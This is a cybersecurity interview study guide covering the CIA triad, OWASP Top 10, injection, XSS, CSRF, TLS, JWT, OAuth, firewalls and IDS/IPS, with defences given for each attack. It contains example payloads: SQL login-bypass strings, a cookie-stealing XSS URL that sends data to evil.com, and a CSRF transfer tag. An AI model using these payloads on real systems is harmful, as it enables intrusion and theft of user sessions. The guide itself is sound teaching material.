Cybersecurity interview questions

The CIA triad: three core principles that guide information security policies, controls, and architecture. Confidentiality: - Ensuring information is accessible only to those authorised to access it - Threats: eavesdropping, data breaches, insider theft, man-in-the-middle attacks - Controls: encryption (AES-256, TLS), access control (RBAC), authentication (MFA), data masking Integrity: - Ensuring data is accurate and has not been tampered with (by attackers or errors) - Threats: SQL injection, file tampering, man-in-the-middle modification, ransomware - Controls: digital signatures (HMAC, RSA), checksums/hashes (SHA-256), version control, audit logs Availability: - Ensuring systems and data are accessible when authorised users need them - Threats: DoS/DDoS attacks, hardware failure, ransomware, misconfiguration - Controls: redundancy, load balancing, backups, DDoS mitigation, disaster recovery plans Why it's foundational: - Every security control, threat, or vulnerability can be classified against one or more of C, I, A - Helps prioritise: a financial system prioritises integrity; a streaming service prioritises availability; a medical system prioritises all three equally - Helps communicate risk to business stakeholders using non-technical language Extensions: - Authenticity: verified identity of the sender (added by some frameworks) - Non-repudiation: cannot deny having performed an action (digital signatures) - Together these form the Parkerian Hexad in some frameworks Example: ransomware attack - Confidentiality: files may be exfiltrated before encryption (breach) - Integrity: files are encrypted/corrupted (data tampered) - Availability: systems unavailable until ransom paid (outage) → Attacks all three principles simultaneously.

OWASP Top 10 (2021): the most critical web application security risks, updated every 3-4 years by the Open Web Application Security Project. The 10 risks: 1. Broken Access Control — users can act outside intended permissions 2. Cryptographic Failures — weak or missing encryption exposes sensitive data 3. Injection — SQL, OS, LDAP, XPath injection via untrusted input 4. Insecure Design — architecture-level security flaws (not just code bugs) 5. Security Misconfiguration — default creds, open S3 buckets, verbose errors 6. Vulnerable and Outdated Components — libraries/frameworks with known CVEs 7. Identification and Authentication Failures — weak passwords, no MFA, broken session management 8. Software and Data Integrity Failures — CI/CD pipeline compromise, unsigned packages 9. Security Logging and Monitoring Failures — no detection of breaches in progress 10. Server-Side Request Forgery (SSRF) — server fetches URLs controlled by attacker Most critical explained: A01 Broken Access Control: - Most prevalent (94% of tested apps) - Example: user changes URL from /accounts/42 to /accounts/43 and sees another user's data - Fix: server-side authorisation on every resource; deny by default A03 Injection (SQL injection): - Attacker sends malicious input that is interpreted as code - Example: input ' OR '1'='1 in login form bypasses authentication - Fix: parameterised queries/prepared statements; NEVER string-concatenate user input into SQL A02 Cryptographic Failures: - Passwords stored in plaintext or MD5; HTTP instead of HTTPS; weak keys - Fix: bcrypt/Argon2 for passwords; TLS 1.2+ everywhere; AES-256 for data at rest A07 Auth Failures: - No account lockout after repeated failures; JWTs without expiry; session tokens in URLs - Fix: MFA, rate limiting on login, HttpOnly secure cookies, short JWT expiry

SQL Injection: a code injection attack where malicious SQL is inserted into user-controlled input fields, causing the database to execute unintended commands. Classic example: Login query: SELECT * FROM users WHERE username = '$user' AND password = '$pass' Attack input: username = ' OR '1'='1' -- Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...' Effect: '1'='1' is always true; -- comments out the rest → bypasses login Types of SQL injection: - In-band: results returned directly in the HTTP response (classic) - Blind boolean: app doesn't return data, but behaves differently for true/false queries - Blind time-based: attacker infers data by measuring response time (SLEEP(5)) - Out-of-band: attacker triggers DNS/HTTP request from the DB server Impact: unauthorised data access, authentication bypass, data modification/deletion, database takeover (EXEC xp_cmdshell), full server compromise. Prevention: 1. Parameterised queries / Prepared statements (PRIMARY fix): // VULNERABLE: db.query("SELECT * FROM users WHERE id = " + userId) // SAFE: db.query("SELECT * FROM users WHERE id = ?", [userId]) // The ? is a placeholder; userId is NEVER concatenated into the SQL string 2. Stored procedures (if parameterised internally) 3. Input validation (secondary defence): - Whitelist allowed characters; reject unexpected types - Does NOT replace parameterised queries 4. Principle of least privilege: - DB user for the app should only have SELECT/INSERT/UPDATE — never DROP TABLE or admin rights 5. Error handling: - Never expose DB error messages to users (they reveal schema/column names) 6. ORM usage: - ORMs (Hibernate, SQLAlchemy, Sequelize) use parameterised queries internally — generally safe, but raw query methods must still be parameterised.

XSS (Cross-Site Scripting): an attack where an attacker injects malicious JavaScript into web pages that are then executed in victims' browsers, in the context of the trusted website. Why dangerous: the script runs with the victim's session credentials — can steal cookies, perform actions on behalf of the user, redirect to phishing pages, log keystrokes. Three types: 1. Reflected XSS (non-persistent): - Malicious script is in the URL/request; server reflects it back in the response - Attack URL: https://site.com/search?q=<script>document.location='https://evil.com?c='+document.cookie</script> - Victim must click the crafted URL - Mostly used in phishing attacks 2. Stored XSS (persistent): - Attacker posts malicious script to the server (forum post, comment, profile name) - Script is stored in DB; every visitor's browser executes it - More dangerous — no victim interaction required beyond visiting the page - Example: comment = "<script>steal_cookies()</script>" 3. DOM-based XSS: - Script runs entirely client-side; server sends no malicious content - JavaScript reads unsanitised URL parameters and writes them to the DOM - document.getElementById("msg").innerHTML = location.hash.substring(1) - Attack: https://site.com/page#<img src=x onerror=alert(1)> Prevention: 1. Output encoding (PRIMARY fix): - Encode all user data before rendering in HTML: < → &lt; > → &gt; " → &quot; - Libraries: DOMPurify (client), OWASP Java Encoder, htmlspecialchars() (PHP) 2. Content Security Policy (CSP): Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com - Prevents inline scripts and scripts from unauthorised origins 3. HttpOnly flag on cookies: Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict - HttpOnly: prevents JavaScript from reading cookies (mitigates cookie theft) 4. Avoid innerHTML; use textContent: element.textContent = userInput // safe — not parsed as HTML element.innerHTML = userInput // dangerous — parses HTML/scripts

CSRF (Cross-Site Request Forgery): an attack that tricks an authenticated user's browser into sending an unintended request to a trusted web application, using the victim's active session. How it works: 1. Victim is logged into bank.com (session cookie is set) 2. Victim visits attacker's page (evil.com) while still logged in 3. evil.com has: <img src="https://bank.com/transfer?amount=10000&to=attacker"> 4. Browser automatically includes bank.com's session cookie with the request 5. Bank processes the transfer because the request looks legitimate Key: the browser automatically attaches cookies to cross-origin requests — the attacker exploits this. Difference from XSS: XSS executes code in the victim's browser; CSRF makes the victim's browser send a request the attacker crafted. Prevention: 1. CSRF Tokens (synchroniser token pattern): - Server generates a unique, secret, per-session token - Token embedded in every form as a hidden field <form method="POST"> <input type="hidden" name="csrf_token" value="abc123"> </form> - Server validates token on every state-changing request (POST/PUT/DELETE) - Attacker can't read the token from a different origin (same-origin policy) 2. SameSite cookie attribute (modern, effective): Set-Cookie: session=abc; SameSite=Strict - Strict: cookie NOT sent on cross-origin requests at all - Lax: cookie sent on top-level navigation GET, but NOT on cross-origin POST/PUT/DELETE - None: cookie always sent (requires Secure) 3. Double Submit Cookie: - Server sets a random CSRF cookie; client must echo the value as a request parameter - Both must match; attacker can't read the cookie value due to same-origin policy 4. Referer/Origin header validation: - Check that request Origin matches your domain - Less reliable (some browsers/proxies strip headers) 5. Custom request headers (for AJAX): - Require X-Requested-With: XMLHttpRequest header - Cross-origin requests can't set arbitrary headers without CORS preflight

Authentication (AuthN): verifying WHO someone is. "Are you really Rahul?" Authorisation (AuthZ): verifying WHAT an authenticated identity is allowed to do. "Can Rahul delete this record?" They are separate concerns — authentication always comes first. Authentication mechanisms: 1. Password-based: - Password stored as salted hash (bcrypt, Argon2, PBKDF2) — never plaintext or MD5 - Strengthened with: MFA (TOTP, SMS, hardware keys), rate limiting, account lockout 2. Session-based: - Server creates session after login; stores in DB; sends session ID in cookie - Cookie: HttpOnly, Secure, SameSite=Strict - Stateful: server must look up session on every request 3. JWT (JSON Web Token): - Stateless: server creates signed token (Header.Payload.Signature); client stores and sends with every request - Server verifies signature — no DB lookup needed - Claims: sub (user ID), exp (expiry), roles - Weakness: can't revoke before expiry; must use short expiry + refresh token 4. OAuth 2.0 (delegated authorisation): - Allows third-party apps to access user data WITHOUT sharing credentials - Flows: Authorization Code (web apps), PKCE (SPAs/mobile), Client Credentials (server-to-server) - Common: "Sign in with Google/GitHub" 5. API Keys: - Long-lived static tokens for service-to-service auth - Send in header: Authorization: Bearer api-key-abc123 - Must be rotated periodically; never committed to source code 6. mTLS (mutual TLS): - Both client AND server authenticate via certificates - Common in microservices, zero-trust networks Authorisation mechanisms: - RBAC (Role-Based Access Control): user has role (admin, editor) → role has permissions - ABAC (Attribute-Based Access Control): policy based on attributes (user.department == resource.department) - ACL (Access Control List): explicit list of who can do what to a specific resource

TLS (Transport Layer Security): the cryptographic protocol that secures HTTP connections (HTTPS = HTTP over TLS). Provides: confidentiality (encryption), integrity (MAC), authenticity (certificates). TLS 1.3 handshake (simplified): 1. Client Hello: - Client sends: TLS version, list of supported cipher suites, random bytes, supported key exchange groups 2. Server Hello + Certificate: - Server responds: chosen cipher suite, its X.509 certificate (contains public key + identity) - Certificate signed by a trusted Certificate Authority (CA): DigiCert, Let's Encrypt, etc. - Server also sends its key share (Diffie-Hellman public value) 3. Client verifies certificate: - Is it signed by a trusted CA in my trust store? - Is the Common Name or SAN matching the hostname? - Is it expired? Is it revoked (CRL or OCSP check)? 4. Key exchange (ECDHE — Elliptic Curve Diffie-Hellman Ephemeral): - Client generates its own DH key pair, sends public value to server - Both client and server independently compute the same shared secret using DH math - Shared secret used to derive symmetric session keys 5. Symmetric encryption begins: - All further communication encrypted with AES-GCM (fast, authenticated encryption) - Each direction uses a separate key derived from the shared secret Why Diffie-Hellman is used (not RSA for encryption directly): - ECDHE provides perfect forward secrecy (PFS): even if server's private key is compromised later, past sessions can't be decrypted because the ephemeral DH keys are discarded TLS 1.3 improvements over 1.2: - Handshake completes in 1 RTT (instead of 2) - 0-RTT resumption for repeat connections (slight replay attack risk) - Removed weak cipher suites (RC4, MD5, SHA-1) - Mandatory perfect forward secrecy Certificate chain: browser trusts root CAs → root CA signs intermediate CA → intermediate CA signs site certificate.

Symmetric encryption: - Uses a SINGLE key to both encrypt and decrypt - Examples: AES-256, ChaCha20 - Fast: efficient for large volumes of data - Problem: key distribution — how do you securely share the secret key with the other party? AES-256 example: plaintext → AES-256-GCM(key, nonce) → ciphertext ciphertext → AES-256-GCM(key, nonce) → plaintext Use cases: encrypting data at rest (files, DB columns), TLS payload after handshake Asymmetric encryption (Public Key Cryptography): - Uses a KEY PAIR: public key (shared openly) + private key (kept secret) - Encrypt with public key → decrypt with private key (only private key holder can decrypt) - Sign with private key → verify with public key (anyone can verify authenticity) - Examples: RSA-2048, ECC (P-256, Curve25519) - Slow: computationally expensive; not suitable for large data Use cases: key exchange (TLS handshake), digital signatures (code signing, JWT, certificates), PKI How TLS combines both: 1. Asymmetric (ECDHE): securely establish a shared symmetric key during handshake 2. Symmetric (AES-GCM): use that key for all subsequent data transfer This is the hybrid approach: asymmetric solves the key distribution problem; symmetric provides speed. Key lengths and security equivalence (approx): - AES-128 ≈ RSA-3072 ≈ ECC-256 - AES-256 ≈ RSA-15360 ≈ ECC-512 - Prefer ECC over RSA for same security with smaller key size Hashing (related but not encryption): - One-way function: input → fixed-length output (hash); not reversible - SHA-256, SHA-3, bcrypt (for passwords) - Used for: data integrity (checksums), password storage, digital signatures (sign the hash, not the data)

JWT (JSON Web Token): a compact, self-contained token format for securely transmitting claims between parties as a JSON object signed with HMAC or RSA. Structure: three Base64url-encoded parts separated by dots: Header.Payload.Signature Header: {"alg":"HS256","typ":"JWT"} Payload: {"sub":"42","role":"admin","exp":1710000000} Signature: HMAC-SHA256(base64(header) + "." + base64(payload), secret) How it works: 1. Server creates JWT after login, signs with secret key, sends to client 2. Client stores in localStorage or HttpOnly cookie 3. Client sends JWT with every request (Authorization: Bearer <token>) 4. Server verifies signature → trusts claims without DB lookup (stateless) Common JWT vulnerabilities: 1. Algorithm confusion (alg:none attack): - Old libraries: accept tokens with alg="none" (no signature required) - Fix: explicitly specify and validate allowed algorithms; reject "none" 2. RS256 → HS256 confusion: - Server normally uses RS256 (public/private key pair) - Attacker changes header to HS256 and signs with server's PUBLIC key - Vulnerable libraries accept it (treating public key as the HMAC secret) - Fix: libraries should not accept algorithm downgrade; validate expected algorithm 3. Weak HMAC secret: - Short or dictionary-word secrets can be brute-forced offline - Fix: use cryptographically random 256-bit secret (uuid4 or openssl rand -hex 32) 4. Missing expiry (exp claim): - Token valid forever → stolen token grants permanent access - Fix: short expiry (15-60 minutes) + refresh token rotation 5. Sensitive data in payload: - Payload is Base64-encoded, NOT encrypted — anyone can decode it - Never put: passwords, SSNs, PII in payload - Fix: use opaque reference tokens if sensitive data needed 6. Missing signature verification: - Buggy code only decodes without verifying the signature - Fix: always verify; use battle-tested libraries (jsonwebtoken, java-jwt) Storing JWTs: - HttpOnly cookie (preferred): immune to XSS cookie theft - localStorage: accessible to JS → vulnerable to XSS

OAuth 2.0: an authorisation framework that enables third-party applications to access a user's resources on a service (like Google Drive) WITHOUT the user sharing their credentials with the third party. Key roles: - Resource Owner: the user who owns the data - Client: the application requesting access (your app) - Authorisation Server: issues tokens after authentication (Google Auth, Auth0) - Resource Server: the API that holds the user's data (Google Drive API) Authorization Code Flow (most secure, for web apps): Step 1 — Client redirects user to Authorisation Server: GET https://accounts.google.com/o/oauth2/auth? response_type=code &client_id=YOUR_CLIENT_ID &redirect_uri=https://yourapp.com/callback &scope=email profile &state=RANDOM_STATE_VALUE // CSRF protection Step 2 — User authenticates and consents (on Google's page) Step 3 — Authorisation Server redirects back with code: https://yourapp.com/callback?code=AUTH_CODE&state=RANDOM_STATE_VALUE Step 4 — Server exchanges code for tokens (server-to-server, secret not exposed): POST https://oauth2.googleapis.com/token code=AUTH_CODE, client_id=..., client_secret=..., grant_type=authorization_code Response: { access_token, refresh_token, expires_in } Step 5 — Use access token to call Resource Server: GET https://www.googleapis.com/userinfo/v2/me Authorization: Bearer ACCESS_TOKEN Why the code exchange (not direct token in URL)? - Auth codes are short-lived (60 seconds), single-use, and safe in URLs - Access tokens never appear in browser URL bar/history PKCE (Proof Key for Code Exchange): - For SPAs and mobile apps (no server-side secret) - Client generates code_verifier (random), sends code_challenge (SHA-256 hash) with auth request - Exchanges code with code_verifier — auth server verifies hash matches - Prevents interception of auth code by malicious apps on the same device

Firewall: a network security device (hardware or software) that monitors and controls incoming and outgoing network traffic based on predefined security rules. Types: 1. Packet Filtering Firewall (stateless, Layer 3/4): - Inspects individual packets: source/destination IP, port, protocol - No memory of connection state — treats each packet independently - Fast but limited: can't detect fragmentation attacks, doesn't understand application context - Example rules: ALLOW TCP from 10.0.0.0/8 to ANY port 443 2. Stateful Firewall (most common): - Tracks the state of network connections (TCP handshake → established → closed) - Allows return traffic for established connections automatically - Blocks packets that don't belong to a known connection - More intelligent; prevents spoofed return packets 3. Application Layer Firewall / WAF (Layer 7): - Understands application protocols (HTTP, SMTP, DNS) - Can inspect HTTP request content, block specific URLs, SQL injection patterns - WAF (Web Application Firewall): specifically for HTTP traffic - Examples: AWS WAF, Cloudflare WAF, ModSecurity 4. Next-Generation Firewall (NGFW): - Combines stateful inspection + deep packet inspection + IPS + application awareness + user identity - Can identify: "this is Facebook traffic", "this user is downloading an .exe" - Examples: Palo Alto Networks, Fortinet, Cisco Firepower Firewall placement: - Perimeter firewall: between internet and DMZ - Internal firewall: between DMZ and internal network - Host-based firewall: on individual servers (iptables, Windows Firewall, UFW) Security group (cloud): - AWS Security Groups: stateful firewall at the instance level - Inbound rules: what traffic is allowed in - Outbound rules: what traffic is allowed out - Attached to EC2 instances, RDS, Lambda Defence in depth: use multiple firewall layers; no single firewall is sufficient alone.

IDS (Intrusion Detection System): monitors network traffic or system activity and ALERTS on suspicious patterns. Passive — it does not block anything. IPS (Intrusion Prevention System): monitors AND actively BLOCKS malicious traffic. Inline — sits in the traffic path and can drop packets. How they differ from firewalls: - Firewall: controls what traffic is ALLOWED (allow/deny based on rules) - IDS/IPS: looks DEEPER into allowed traffic for known attack signatures or anomalies Detection methods: 1. Signature-based: - Compares traffic against a database of known attack signatures - Fast and accurate for known threats - Can't detect novel (zero-day) attacks - Similar to antivirus (pattern matching) 2. Anomaly-based (behaviour-based): - Builds a model of "normal" traffic; alerts on deviations - Can detect unknown attacks (zero-days) - Higher false positive rate (normal spikes may trigger alerts) 3. Stateful protocol analysis: - Compares observed protocol behaviour against expected (RFC-defined) behaviour - Detects protocol abuse and evasion techniques Types: - Network IDS/IPS (NIDS/NIPS): monitors network traffic (usually at network edge or span port) - Host IDS/IPS (HIDS/HIPS): monitors individual host (file integrity, process behaviour, system calls) - Examples: Snort, Suricata (open-source NIDS/NIPS); OSSEC, Wazuh (HIDS) Limitations: - Encrypted traffic: IDS can't inspect TLS content (unless doing TLS inspection/termination) - False positives: can overwhelm SOC analysts - Evasion: attackers use fragmentation, encoding to bypass signature detection Cloud equivalents: - AWS GuardDuty: threat detection for AWS accounts (anomaly-based, analyses CloudTrail/VPC Flow logs) - AWS WAF: IPS for web layer - Azure Defender for Cloud: similar